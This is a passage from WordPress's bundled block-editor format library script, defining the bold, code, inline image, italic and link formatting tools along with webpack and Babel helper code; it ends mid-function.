File: /var/www/volumes/69b4844ae61d4e92bf26ad98af552775/wordpress/wp-includes/js/dist/format-library.js
this["wp"] = this["wp"] || {}; this["wp"]["formatLibrary"] =
/******/ (function(modules) { // webpackBootstrap
/******/ // The module cache
/******/ var installedModules = {};
/******/
/******/ // The require function
/******/ function __webpack_require__(moduleId) {
/******/
/******/ // Check if module is in cache
/******/ if(installedModules[moduleId]) {
/******/ return installedModules[moduleId].exports;
/******/ }
/******/ // Create a new module (and put it into the cache)
/******/ var module = installedModules[moduleId] = {
/******/ i: moduleId,
/******/ l: false,
/******/ exports: {}
/******/ };
/******/
/******/ // Execute the module function
/******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);
/******/
/******/ // Flag the module as loaded
/******/ module.l = true;
/******/
/******/ // Return the exports of the module
/******/ return module.exports;
/******/ }
/******/
/******/
/******/ // expose the modules object (__webpack_modules__)
/******/ __webpack_require__.m = modules;
/******/
/******/ // expose the module cache
/******/ __webpack_require__.c = installedModules;
/******/
/******/ // define getter function for harmony exports
/******/ __webpack_require__.d = function(exports, name, getter) {
/******/ if(!__webpack_require__.o(exports, name)) {
/******/ Object.defineProperty(exports, name, { enumerable: true, get: getter });
/******/ }
/******/ };
/******/
/******/ // define __esModule on exports
/******/ __webpack_require__.r = function(exports) {
/******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
/******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
/******/ }
/******/ Object.defineProperty(exports, '__esModule', { value: true });
/******/ };
/******/
/******/ // create a fake namespace object
/******/ // mode & 1: value is a module id, require it
/******/ // mode & 2: merge all properties of value into the ns
/******/ // mode & 4: return value when already ns object
/******/ // mode & 8|1: behave like require
/******/ __webpack_require__.t = function(value, mode) {
/******/ if(mode & 1) value = __webpack_require__(value);
/******/ if(mode & 8) return value;
/******/ if((mode & 4) && typeof value === 'object' && value && value.__esModule) return value;
/******/ var ns = Object.create(null);
/******/ __webpack_require__.r(ns);
/******/ Object.defineProperty(ns, 'default', { enumerable: true, value: value });
/******/ if(mode & 2 && typeof value != 'string') for(var key in value) __webpack_require__.d(ns, key, function(key) { return value[key]; }.bind(null, key));
/******/ return ns;
/******/ };
/******/
/******/ // getDefaultExport function for compatibility with non-harmony modules
/******/ __webpack_require__.n = function(module) {
/******/ var getter = module && module.__esModule ?
/******/ function getDefault() { return module['default']; } :
/******/ function getModuleExports() { return module; };
/******/ __webpack_require__.d(getter, 'a', getter);
/******/ return getter;
/******/ };
/******/
/******/ // Object.prototype.hasOwnProperty.call
/******/ __webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); };
/******/
/******/ // __webpack_public_path__
/******/ __webpack_require__.p = "";
/******/
/******/
/******/ // Load entry module and return exports
/******/ return __webpack_require__(__webpack_require__.s = "t1DA");
/******/ })
/************************************************************************/
/******/ ({
/***/ "1CF3":
/***/ (function(module, exports) {
(function() { module.exports = this["wp"]["dom"]; }());
/***/ }),
/***/ "1OyB":
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "a", function() { return _classCallCheck; });
function _classCallCheck(instance, Constructor) {
if (!(instance instanceof Constructor)) {
throw new TypeError("Cannot call a class as a function");
}
}
/***/ }),
/***/ "Ff2n":
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
// EXPORTS
__webpack_require__.d(__webpack_exports__, "a", function() { return /* binding */ _objectWithoutProperties; });
// CONCATENATED MODULE: ./node_modules/@babel/runtime/helpers/esm/objectWithoutPropertiesLoose.js
function _objectWithoutPropertiesLoose(source, excluded) {
if (source == null) return {};
var target = {};
var sourceKeys = Object.keys(source);
var key, i;
for (i = 0; i < sourceKeys.length; i++) {
key = sourceKeys[i];
if (excluded.indexOf(key) >= 0) continue;
target[key] = source[key];
}
return target;
}
// CONCATENATED MODULE: ./node_modules/@babel/runtime/helpers/esm/objectWithoutProperties.js
function _objectWithoutProperties(source, excluded) {
if (source == null) return {};
var target = _objectWithoutPropertiesLoose(source, excluded);
var key, i;
if (Object.getOwnPropertySymbols) {
var sourceSymbolKeys = Object.getOwnPropertySymbols(source);
for (i = 0; i < sourceSymbolKeys.length; i++) {
key = sourceSymbolKeys[i];
if (excluded.indexOf(key) >= 0) continue;
if (!Object.prototype.propertyIsEnumerable.call(source, key)) continue;
target[key] = source[key];
}
}
return target;
}
/***/ }),
/***/ "GRId":
/***/ (function(module, exports) {
(function() { module.exports = this["wp"]["element"]; }());
/***/ }),
/***/ "JX7q":
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "a", function() { return _assertThisInitialized; });
function _assertThisInitialized(self) {
if (self === void 0) {
throw new ReferenceError("this hasn't been initialised - super() hasn't been called");
}
return self;
}
/***/ }),
/***/ "Ji7U":
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
// EXPORTS
__webpack_require__.d(__webpack_exports__, "a", function() { return /* binding */ _inherits; });
// CONCATENATED MODULE: ./node_modules/@babel/runtime/helpers/esm/setPrototypeOf.js
function _setPrototypeOf(o, p) {
_setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) {
o.__proto__ = p;
return o;
};
return _setPrototypeOf(o, p);
}
// CONCATENATED MODULE: ./node_modules/@babel/runtime/helpers/esm/inherits.js
function _inherits(subClass, superClass) {
if (typeof superClass !== "function" && superClass !== null) {
throw new TypeError("Super expression must either be null or a function");
}
subClass.prototype = Object.create(superClass && superClass.prototype, {
constructor: {
value: subClass,
writable: true,
configurable: true
}
});
if (superClass) _setPrototypeOf(subClass, superClass);
}
/***/ }),
/***/ "Mmq9":
/***/ (function(module, exports) {
(function() { module.exports = this["wp"]["url"]; }());
/***/ }),
/***/ "RxS6":
/***/ (function(module, exports) {
(function() { module.exports = this["wp"]["keycodes"]; }());
/***/ }),
/***/ "TSYQ":
/***/ (function(module, exports, __webpack_require__) {
var __WEBPACK_AMD_DEFINE_ARRAY__, __WEBPACK_AMD_DEFINE_RESULT__;/*!
Copyright (c) 2018 Jed Watson.
Licensed under the MIT License (MIT), see
http://jedwatson.github.io/classnames
*/
/* global define */
(function () {
'use strict';
var hasOwn = {}.hasOwnProperty;
function classNames() {
var classes = [];
for (var i = 0; i < arguments.length; i++) {
var arg = arguments[i];
if (!arg) continue;
var argType = typeof arg;
if (argType === 'string' || argType === 'number') {
classes.push(arg);
} else if (Array.isArray(arg)) {
if (arg.length) {
var inner = classNames.apply(null, arg);
if (inner) {
classes.push(inner);
}
}
} else if (argType === 'object') {
if (arg.toString === Object.prototype.toString) {
for (var key in arg) {
if (hasOwn.call(arg, key) && arg[key]) {
classes.push(key);
}
}
} else {
classes.push(arg.toString());
}
}
}
return classes.join(' ');
}
if ( true && module.exports) {
classNames.default = classNames;
module.exports = classNames;
} else if (true) {
// register as 'classnames', consistent with npm package name
!(__WEBPACK_AMD_DEFINE_ARRAY__ = [], __WEBPACK_AMD_DEFINE_RESULT__ = (function () {
return classNames;
}).apply(exports, __WEBPACK_AMD_DEFINE_ARRAY__),
__WEBPACK_AMD_DEFINE_RESULT__ !== undefined && (module.exports = __WEBPACK_AMD_DEFINE_RESULT__));
} else {}
}());
/***/ }),
/***/ "U8pU":
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "a", function() { return _typeof; });
function _typeof2(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof2 = function _typeof2(obj) { return typeof obj; }; } else { _typeof2 = function _typeof2(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof2(obj); }
function _typeof(obj) {
if (typeof Symbol === "function" && _typeof2(Symbol.iterator) === "symbol") {
_typeof = function _typeof(obj) {
return _typeof2(obj);
};
} else {
_typeof = function _typeof(obj) {
return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : _typeof2(obj);
};
}
return _typeof(obj);
}
/***/ }),
/***/ "YLtl":
/***/ (function(module, exports) {
(function() { module.exports = this["lodash"]; }());
/***/ }),
/***/ "foSv":
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "a", function() { return _getPrototypeOf; });
function _getPrototypeOf(o) {
_getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) {
return o.__proto__ || Object.getPrototypeOf(o);
};
return _getPrototypeOf(o);
}
/***/ }),
/***/ "jSdM":
/***/ (function(module, exports) {
(function() { module.exports = this["wp"]["editor"]; }());
/***/ }),
/***/ "l3Sj":
/***/ (function(module, exports) {
(function() { module.exports = this["wp"]["i18n"]; }());
/***/ }),
/***/ "md7G":
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "a", function() { return _possibleConstructorReturn; });
/* harmony import */ var _helpers_esm_typeof__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__("U8pU");
/* harmony import */ var _assertThisInitialized__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__("JX7q");
function _possibleConstructorReturn(self, call) {
if (call && (Object(_helpers_esm_typeof__WEBPACK_IMPORTED_MODULE_0__[/* default */ "a"])(call) === "object" || typeof call === "function")) {
return call;
}
return Object(_assertThisInitialized__WEBPACK_IMPORTED_MODULE_1__[/* default */ "a"])(self);
}
/***/ }),
/***/ "qRz9":
/***/ (function(module, exports) {
(function() { module.exports = this["wp"]["richText"]; }());
/***/ }),
/***/ "t1DA":
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
// ESM COMPAT FLAG
__webpack_require__.r(__webpack_exports__);
// EXTERNAL MODULE: ./node_modules/@babel/runtime/helpers/esm/objectWithoutProperties.js + 1 modules
var objectWithoutProperties = __webpack_require__("Ff2n");
// EXTERNAL MODULE: external {"this":["wp","element"]}
var external_this_wp_element_ = __webpack_require__("GRId");
// EXTERNAL MODULE: external {"this":["wp","i18n"]}
var external_this_wp_i18n_ = __webpack_require__("l3Sj");
// EXTERNAL MODULE: external {"this":["wp","richText"]}
var external_this_wp_richText_ = __webpack_require__("qRz9");
// EXTERNAL MODULE: external {"this":["wp","editor"]}
var external_this_wp_editor_ = __webpack_require__("jSdM");
// CONCATENATED MODULE: ./node_modules/@wordpress/format-library/build-module/bold/index.js
/**
* WordPress dependencies
*/
var bold_name = 'core/bold';
var bold = {
name: bold_name,
title: Object(external_this_wp_i18n_["__"])('Bold'),
tagName: 'strong',
className: null,
edit: function edit(_ref) {
var isActive = _ref.isActive,
value = _ref.value,
onChange = _ref.onChange;
var onToggle = function onToggle() {
return onChange(Object(external_this_wp_richText_["toggleFormat"])(value, {
type: bold_name
}));
};
return Object(external_this_wp_element_["createElement"])(external_this_wp_element_["Fragment"], null, Object(external_this_wp_element_["createElement"])(external_this_wp_editor_["RichTextShortcut"], {
type: "primary",
character: "b",
onUse: onToggle
}), Object(external_this_wp_element_["createElement"])(external_this_wp_editor_["RichTextToolbarButton"], {
name: "bold",
icon: "editor-bold",
title: Object(external_this_wp_i18n_["__"])('Bold'),
onClick: onToggle,
isActive: isActive,
shortcutType: "primary",
shortcutCharacter: "b"
}));
}
};
// CONCATENATED MODULE: ./node_modules/@wordpress/format-library/build-module/code/index.js
/**
* WordPress dependencies
*/
var code_name = 'core/code';
var code = {
name: code_name,
title: Object(external_this_wp_i18n_["__"])('Code'),
tagName: 'code',
className: null,
edit: function edit(_ref) {
var value = _ref.value,
onChange = _ref.onChange;
var onToggle = function onToggle() {
return onChange(Object(external_this_wp_richText_["toggleFormat"])(value, {
type: code_name
}));
};
return Object(external_this_wp_element_["createElement"])(external_this_wp_editor_["RichTextShortcut"], {
type: "access",
character: "x",
onUse: onToggle
});
}
};
// EXTERNAL MODULE: ./node_modules/@babel/runtime/helpers/esm/classCallCheck.js
var classCallCheck = __webpack_require__("1OyB");
// EXTERNAL MODULE: ./node_modules/@babel/runtime/helpers/esm/createClass.js
var createClass = __webpack_require__("vuIU");
// EXTERNAL MODULE: ./node_modules/@babel/runtime/helpers/esm/possibleConstructorReturn.js
var possibleConstructorReturn = __webpack_require__("md7G");
// EXTERNAL MODULE: ./node_modules/@babel/runtime/helpers/esm/getPrototypeOf.js
var getPrototypeOf = __webpack_require__("foSv");
// EXTERNAL MODULE: ./node_modules/@babel/runtime/helpers/esm/inherits.js + 1 modules
var inherits = __webpack_require__("Ji7U");
// EXTERNAL MODULE: ./node_modules/@babel/runtime/helpers/esm/assertThisInitialized.js
var assertThisInitialized = __webpack_require__("JX7q");
// EXTERNAL MODULE: external {"this":["wp","components"]}
var external_this_wp_components_ = __webpack_require__("tI+e");
// CONCATENATED MODULE: ./node_modules/@wordpress/format-library/build-module/image/index.js
/**
* WordPress dependencies
*/
var ALLOWED_MEDIA_TYPES = ['image'];
var image_name = 'core/image';
var image_image = {
name: image_name,
title: Object(external_this_wp_i18n_["__"])('Image'),
keywords: [Object(external_this_wp_i18n_["__"])('photo'), Object(external_this_wp_i18n_["__"])('media')],
object: true,
tagName: 'img',
className: null,
attributes: {
className: 'class',
style: 'style',
url: 'src',
alt: 'alt'
},
edit:
/*#__PURE__*/
function (_Component) {
Object(inherits["a" /* default */])(ImageEdit, _Component);
function ImageEdit() {
var _this;
Object(classCallCheck["a" /* default */])(this, ImageEdit);
_this = Object(possibleConstructorReturn["a" /* default */])(this, Object(getPrototypeOf["a" /* default */])(ImageEdit).apply(this, arguments));
_this.openModal = _this.openModal.bind(Object(assertThisInitialized["a" /* default */])(Object(assertThisInitialized["a" /* default */])(_this)));
_this.closeModal = _this.closeModal.bind(Object(assertThisInitialized["a" /* default */])(Object(assertThisInitialized["a" /* default */])(_this)));
_this.state = {
modal: false
};
return _this;
}
Object(createClass["a" /* default */])(ImageEdit, [{
key: "openModal",
value: function openModal() {
this.setState({
modal: true
});
}
}, {
key: "closeModal",
value: function closeModal() {
this.setState({
modal: false
});
}
}, {
key: "render",
value: function render() {
var _this2 = this;
var _this$props = this.props,
value = _this$props.value,
onChange = _this$props.onChange;
return Object(external_this_wp_element_["createElement"])(external_this_wp_editor_["MediaUploadCheck"], null, Object(external_this_wp_element_["createElement"])(external_this_wp_editor_["RichTextInserterItem"], {
name: image_name,
icon: Object(external_this_wp_element_["createElement"])(external_this_wp_components_["SVG"], {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24"
}, Object(external_this_wp_element_["createElement"])(external_this_wp_components_["Path"], {
d: "M4 16h10c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v9c0 1.1.9 2 2 2zM4 5h10v9H4V5zm14 9v2h4v-2h-4zM2 20h20v-2H2v2zm6.4-8.8L7 9.4 5 12h8l-2.6-3.4-2 2.6z"
})),
title: Object(external_this_wp_i18n_["__"])('Inline Image'),
onClick: this.openModal
}), this.state.modal && Object(external_this_wp_element_["createElement"])(external_this_wp_editor_["MediaUpload"], {
allowedTypes: ALLOWED_MEDIA_TYPES,
onSelect: function onSelect(_ref) {
var id = _ref.id,
url = _ref.url,
alt = _ref.alt,
width = _ref.width;
_this2.closeModal();
onChange(Object(external_this_wp_richText_["insertObject"])(value, {
type: image_name,
attributes: {
className: "wp-image-".concat(id),
style: "width: ".concat(Math.min(width, 150), "px;"),
url: url,
alt: alt
}
}));
},
onClose: this.closeModal,
render: function render(_ref2) {
var open = _ref2.open;
open();
return null;
}
}));
}
}]);
return ImageEdit;
}(external_this_wp_element_["Component"])
};
// CONCATENATED MODULE: ./node_modules/@wordpress/format-library/build-module/italic/index.js
/**
* WordPress dependencies
*/
var italic_name = 'core/italic';
var italic = {
name: italic_name,
title: Object(external_this_wp_i18n_["__"])('Italic'),
tagName: 'em',
className: null,
edit: function edit(_ref) {
var isActive = _ref.isActive,
value = _ref.value,
onChange = _ref.onChange;
var onToggle = function onToggle() {
return onChange(Object(external_this_wp_richText_["toggleFormat"])(value, {
type: italic_name
}));
};
return Object(external_this_wp_element_["createElement"])(external_this_wp_element_["Fragment"], null, Object(external_this_wp_element_["createElement"])(external_this_wp_editor_["RichTextShortcut"], {
type: "primary",
character: "i",
onUse: onToggle
}), Object(external_this_wp_element_["createElement"])(external_this_wp_editor_["RichTextToolbarButton"], {
name: "italic",
icon: "editor-italic",
title: Object(external_this_wp_i18n_["__"])('Italic'),
onClick: onToggle,
isActive: isActive,
shortcutType: "primary",
shortcutCharacter: "i"
}));
}
};
// EXTERNAL MODULE: external {"this":["wp","url"]}
var external_this_wp_url_ = __webpack_require__("Mmq9");
// EXTERNAL MODULE: ./node_modules/classnames/index.js
var classnames = __webpack_require__("TSYQ");
var classnames_default = /*#__PURE__*/__webpack_require__.n(classnames);
// EXTERNAL MODULE: external {"this":["wp","keycodes"]}
var external_this_wp_keycodes_ = __webpack_require__("RxS6");
// EXTERNAL MODULE: external {"this":["wp","dom"]}
var external_this_wp_dom_ = __webpack_require__("1CF3");
// CONCATENATED MODULE: ./node_modules/@wordpress/format-library/build-module/link/positioned-at-selection.js
/**
* WordPress dependencies
*/
/**
* Returns a style object for applying as `position: absolute` for an element
* relative to the bottom-center of the current selection. Includes `top` and
* `left` style properties.
*
* @return {Object} Style object.
*/
function getCurrentCaretPositionStyle() {
var selection = window.getSelection(); // Unlikely, but in the case there is no selection, return empty styles so
// as to avoid a thrown error by `Selection#getRangeAt` on invalid index.
if (selection.rangeCount === 0) {
return {};
} // Get position relative viewport.
var rect = Object(external_this_wp_dom_["getRectangleFromRange"])(selection.getRangeAt(0));
var top = rect.top + rect.height;
var left = rect.left + rect.width / 2; // Offset by positioned parent, if one exists.
var offsetParent = Object(external_this_wp_dom_["getOffsetParent"])(selection.anchorNode);
if (offsetParent) {
var parentRect = offsetParent.getBoundingClientRect();
top -= parentRect.top;
left -= parentRect.left;
}
return {
top: top,
left: left
};
}
/**
* Component which renders itself positioned under the current caret selection.
* The position is calculated at the time of the component being mounted, so it
* should only be mounted after the desired selection has been made.
*
* @type {WPComponent}
*/
var positioned_at_selection_PositionedAtSelection =
/*#__PURE__*/
function (_Component) {
Object(inherits["a" /* default */])(PositionedAtSelection, _Component);
function PositionedAtSelection() {
var _this;
Object(classCallCheck["a" /* default */])(this, PositionedAtSelection);
_this = Object(possibleConstructorReturn["a" /* default */])(this, Object(getPrototypeOf["a" /* default */])(PositionedAtSelection).apply(this, arguments));
_this.state = {
style: getCurrentCaretPositionStyle()
};
return _this;
}
Object(createClass["a" /* default */])(PositionedAtSelection, [{
key: "render",
value: function render() {
var children = this.props.children;
var style = this.state.style;
return Object(external_this_wp_element_["createElement"])("div", {
className: "editor-format-toolbar__selection-position",
style: style
}, children);
}
}]);
return PositionedAtSelection;
}(external_this_wp_element_["Component"]);
/* harmony default export */ var positioned_at_selection = (positioned_at_selection_PositionedAtSelection);
// EXTERNAL MODULE: external "lodash"
var external_lodash_ = __webpack_require__("YLtl");
// CONCATENATED MODULE: ./node_modules/@wordpress/format-library/build-module/link/utils.js
/**
* External dependencies
*/
/**
* WordPress dependencies
*/
/**
* Check for issues with the provided href.
*
* @param {string} href The href.
*
* @return {boolean} Is the href invalid?
*/
function isValidHref(href) {
if (!href) {
return false;
}
var trimmedHref = href.trim();
if (!trimmedHref) {
return false;
} // Does the href start with something that looks like a URL protocol?
if (/^\S+:/.test(trimmedHref)) {
var protocol = Object(external_this_wp_url_["getProtocol"])(trimmedHref);
if (!Object(external_this_wp_url_["isValidProtocol"])(protocol)) {
return false;
} // Add some extra checks for http(s) URIs, since these are the most common use-case.
// This ensures URIs with an http protocol have exactly two forward slashes following the protocol.
if (Object(external_lodash_["startsWith"])(protocol, 'http') && !/^https?:\/\/[^\/\s]/i.test(trimmedHref)) {
return false;
}
var authority = Object(external_this_wp_url_["getAuthority"])(trimmedHref);
if (!Object(external_this_wp_url_["isValidAuthority"])(authority)) {
return false;
}
var path = Object(external_this_wp_url_["getPath"])(trimmedHref);
if (path && !Object(external_this_wp_url_["isValidPath"])(path)) {
return false;
}
var queryString = Object(external_this_wp_url_["getQueryString"])(trimmedHref);
if (queryString && !Object(external_this_wp_url_["isValidQueryString"])(queryString)) {
return false;
}
var fragment = Object(external_this_wp_url_["getFragment"])(trimmedHref);
if (fragment && !Object(external_this_wp_url_["isValidFragment"])(fragment)) {
return false;
}
} // Validate anchor links.
if (Object(external_lodash_["startsWith"])(trimmedHref, '#') && !Object(external_this_wp_url_["isValidFragment"])(trimmedHref)) {
return false;
}
return true;
}
// CONCATENATED MODULE: ./node_modules/@wordpress/format-library/build-module/link/inline.js
/**
* External dependencies
*/
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
var stopKeyPropagation = function stopKeyPropagation(event) {
return event.stopPropagation();
};
/**
* Generates the format object that will be applied to the link text.
*
* @param {string} url The href of the link.
* @param {boolean} opensInNewWindow Whether this link will open in a new window.
* @param {Object} text The text that is being hyperlinked.
*
* @return {Object} The final format object.
*/
function createLinkFormat(_ref) {
var url = _ref.url,
opensInNewWindow = _ref.opensInNewWindow,
text = _ref.text;
var format = {
type: 'core/link',
attributes: {
url: url
}
};
if (opensInNewWindow) {
// translators: accessibility label for external links, where the argument is the link text
var label = Object(external_this_wp_i18n_["sprintf"])(Object(external_this_wp_i18n_["__"])('%s (opens in a new tab)'), text);
format.attributes.target = '_blank';
format.attributes.rel = 'noreferrer noopener';
format.attributes['aria-label'] = label;
}
return format;
}
function isShowingInput(props, state) {
return props.addingLink || state.editLink;
}
var inline_LinkEditor = function LinkEditor(_ref2) {
var value = _ref2.value,
onChangeInputValue = _ref2.onChangeInputValue,
onKeyDown = _ref2.onKeyDown,
submitLink = _ref2.submitLink,
autocompleteRef = _ref2.autocompleteRef;
return (// Disable reason: KeyPress must be suppressed so the block doesn't hide the toolbar
/* eslint-disable jsx-a11y/no-noninteractive-element-interactions */
Object(external_this_wp_element_["createElement"])("form", {
className: "editor-format-toolbar__link-container-content",
onKeyPress: stopKeyPropagation,
onKeyDown: onKeyDown,
onSubmit: submitLink
}, Object(external_this_wp_element_["createElement"])(external_this_wp_editor_["URLInput"], {
value: value,
onChange: onChangeInputValue,
autocompleteRef: autocompleteRef
}), Object(external_this_wp_element_["createElement"])(external_this_wp_components_["IconButton"], {
icon: "editor-break",
label: Object(external_this_wp_i18n_["__"])('Apply'),
type: "submit"
}))
/* eslint-enable jsx-a11y/no-noninteractive-element-interactions */
);
};
var inline_LinkViewerUrl = function LinkViewerUrl(_ref3) {
var url = _ref3.url;
var prependedURL = Object(external_this_wp_url_["prependHTTP"])(url);
var linkClassName = classnames_default()('editor-format-toolbar__link-container-value', {
'has-invalid-link': !isValidHref(prependedURL)
});
if (!url) {
return Object(external_this_wp_element_["createElement"])("span", {
className: linkClassName
});
}
return Object(external_this_wp_element_["createElement"])(external_this_wp_components_["ExternalLink"], {
className: linkClassName,
href: url
}, Object(external_this_wp_url_["filterURLForDisplay"])(Object(external_this_wp_url_["safeDecodeURI"])(url)));
};
var inline_LinkViewer = function LinkViewer(_ref4) {
var url = _ref4.url,
editLink = _ref4.editLink;
return (// Disable reason: KeyPress must be suppressed so the block doesn't hide the toolbar
/* eslint-disable jsx-a11y/no-static-element-interactions */
Object(external_this_wp_element_["createElement"])("div", {
className: "editor-format-toolbar__link-container-content",
onKeyPress: stopKeyPropagation
}, Object(external_this_wp_element_["createElement"])(inline_LinkViewerUrl, {
url: url
}), Object(external_this_wp_element_["createElement"])(external_this_wp_components_["IconButton"], {
icon: "edit",
label: Object(external_this_wp_i18n_["__"])('Edit'),
onClick: editLink
}))
/* eslint-enable jsx-a11y/no-static-element-interactions */
);
};
var inline_InlineLinkUI =
/*#__PURE__*/
function (_Component) {
Object(inherits["a" /* default */])(InlineLinkUI, _Component);
function InlineLinkUI() {
var _this;
Object(classCallCheck["a" /* default */])(this, InlineLinkUI);
_this = Object(possibleConstructorReturn["a" /* default */])(this, Object(getPrototypeOf["a" /* default */])(InlineLinkUI).apply(this, arguments));
_this.editLink = _this.editLink.bind(Object(assertThisInitialized["a" /* default */])(Object(assertThisInitialized["a" /* default */])(_this)));
_this.submitLink = _this.submitLink.bind(Object(assertThisInitialized["a" /* default */])(Object(assertThisInitialized["a" /* default */])(_this)));
_this.onKeyDown = _this.onKeyDown.bind(Object(assertThisInitialized["a" /* default */])(Object(assertThisInitialized["a" /* default */])(_this)));
_this.onChangeInputValue = _this.onChangeInputValue.bind(Object(assertThisInitialized["a" /* default */])(Object(assertThisInitialized["a" /* default */])(_this)));
_this.setLinkTarget = _this.setLinkTarget.bind(Object(assertThisInitialized["a" /* default */])(Object(assertThisInitialized["a" /* default */])(_this)));
_this.onClickOutside = _this.onClickOutside.bind(Object(assertThisInitialized["a" /* default */])(Object(assertThisInitialized["a" /* default */])(_this)));
_this.resetState = _this.resetState.bind(Object(assertThisInitialized["a" /* default */])(Object(assertThisInitialized["a" /* default */])(_this)));
_this.autocompleteRef = Object(external_this_wp_element_["createRef"])();
_this.state = {
opensInNewWindow: false,
inputValue: ''
};
return _this;
}
Object(createClass["a" /* default */])(InlineLinkUI, [{
key: "onKeyDown",
value: function onKeyDown(event) {
if ([external_this_wp_keycodes_["LEFT"], external_this_wp_keycodes_["DOWN"], external_this_wp_keycodes_["RIGHT"], external_this_wp_keycodes_["UP"], external_this_wp_keycodes_["BACKSPACE"], external_this_wp_keycodes_["ENTER"]].indexOf(event.keyCode) > -1) {
// Stop the key event from propagating up to ObserveTyping.startTypingInTextField.
event.stopPropagation();
}
}
}, {
key: "onChangeInputValue",
value: function onChangeInputValue(inputValue) {
this.setState({
inputValue: inputValue
});
}
}, {
key: "setLinkTarget",
value: function setLinkTarget(opensInNewWindow) {
var _this$props = this.props,
_this$props$activeAtt = _this$props.activeAttributes.url,
url = _this$props$activeAtt === void 0 ? '' : _this$props$activeAtt,
value = _this$props.value,
onChange = _this$props.onChange;
this.setState({
opensInNewWindow: opensInNewWindow
}); // Apply now if URL is not being edited.
if (!isShowingInput(this.props, this.state)) {
var selectedText = Object(external_this_wp_richText_["getTextContent"])(Object(external_this_wp_richText_["slice"])(value));
onChange(Object(external_this_wp_richText_["applyFormat"])(value, createLinkFormat({
url: url,
opensInNewWindow: opensInNewWindow,
text: selectedText
})));
}
}
}, {
key: "editLink",
value: function editLink(event) {
this.setState({
editLink: true
});
event.preventDefault();
}
}, {
key: "submitLink",
value: function submitLink(event) {
var _this$props2 = this.props,
isActive = _this$props2.isActive,
value = _this$props2.value,
onChange = _this$props2.onChange,
speak = _this$props2.speak;
var _this$state = this.state,
inputValue = _this$state.inputValue,
opensInNewWindow = _this$state.opensInNewWindow;
var url = Object(external_this_wp_url_["prependHTTP"])(inputValue);
var selectedText = Object(external_this_wp_richText_["getTextContent"])(Object(external_this_wp_richText_["slice"])(value));
var format = createLinkFormat({
url: url,
opensInNewWindow: opensInNewWindow,
text: selectedText
});
event.preventDefault();
if (Object(external_this_wp_richText_["isCollapsed"])(value) && !isActive) {
var toInsert = Object(external_this_wp_richText_["applyFormat"])(Object(external_this_wp_richText_["create"])({
text: url
}), format, 0, url.length);
onChange(Object(external_this_wp_richText_["insert"])(value, toInsert));
} else {
onChange(Object(external_this_wp_richText_["applyFormat"])(value, format));
}
this.resetState();
if (!isValidHref(url)) {
speak(Object(external_this_wp_i18n_["__"])('Warning: the link has been inserted but may have errors. Please test it.'), 'assertive');
} else if (isActive) {
speak(Object(external_this_wp_i18n_["__"])('Link edited.'), 'assertive');
} else {
speak(Object(external_this_wp_i18n_["__"])('Link inserted.'), 'assertive');
}
}
}, {
key: "onClickOutside",
value: function onClickOutside(event) {
// The autocomplete suggestions list renders in a separate popover (in a portal),
// so onClickOutside fails to detect that a click on a suggestion occured in the
// LinkContainer. Detect clicks on autocomplete suggestions using a ref here, and
// return to avoid the popover being closed.
var autocompleteElement = this.autocompleteRef.current;
if (autocompleteElement && autocompleteElement.contains(event.target)) {
return;
}
this.resetState();
}
}, {
key: "resetState",
value: function resetState() {
this.props.stopAddingLink();
this.setState({
editLink: false
});
}
}, {
key: "render",
value: function render() {
var _this2 = this;
var _this$props3 = this.props,
isActive = _this$props3.isActive,
url = _this$props3.activeAttributes.url,
addingLink = _this$props3.addingLink,
value = _this$props3.value;
if (!isActive && !addingLink) {
return null;
}
var _this$state2 = this.state,
inputValue = _this$state2.inputValue,
opensInNewWindow = _this$state2.opensInNewWindow;
var showInput = isShowingInput(this.props, this.state);
return Object(external_this_wp_element_["createElement"])(positioned_at_selection, {
key: "".concat(value.start).concat(value.end)
/* Used to force rerender on selection change */
}, Object(external_this_wp_element_["createElement"])(external_this_wp_editor_["URLPopover"], {
onClickOutside: this.onClickOutside,
onClose: this.resetState,
focusOnMount: showInput ? 'firstElement' : false,
renderSettings: function renderSettings() {
return Object(external_this_wp_element_["createElement"])(external_this_wp_components_["ToggleControl"], {
label: Object(external_this_wp_i18n_["__"])('Open in New Tab'),
checked: opensInNewWindow,
onChange: _this2.setLinkTarget
});
}
}, showInput ? Object(external_this_wp_element_["createElement"])(inline_LinkEditor, {
value: inputValue,
onChangeInputValue: this.onChangeInputValue,
onKeyDown: this.onKeyDown,
submitLink: this.submitLink,
autocompleteRef: this.autocompleteRef
}) : Object(external_this_wp_element_["createElement"])(inline_LinkViewer, {
url: url,
editLink: this.editLink
})));
}
}], [{
key: "getDerivedStateFromProps",
value: function getDerivedStateFromProps(props, state) {
var _props$activeAttribut = props.activeAttributes,
url = _props$activeAttribut.url,
target = _props$activeAttribut.target;
var opensInNewWindow = target === '_blank';
if (!isShowingInput(props, state)) {
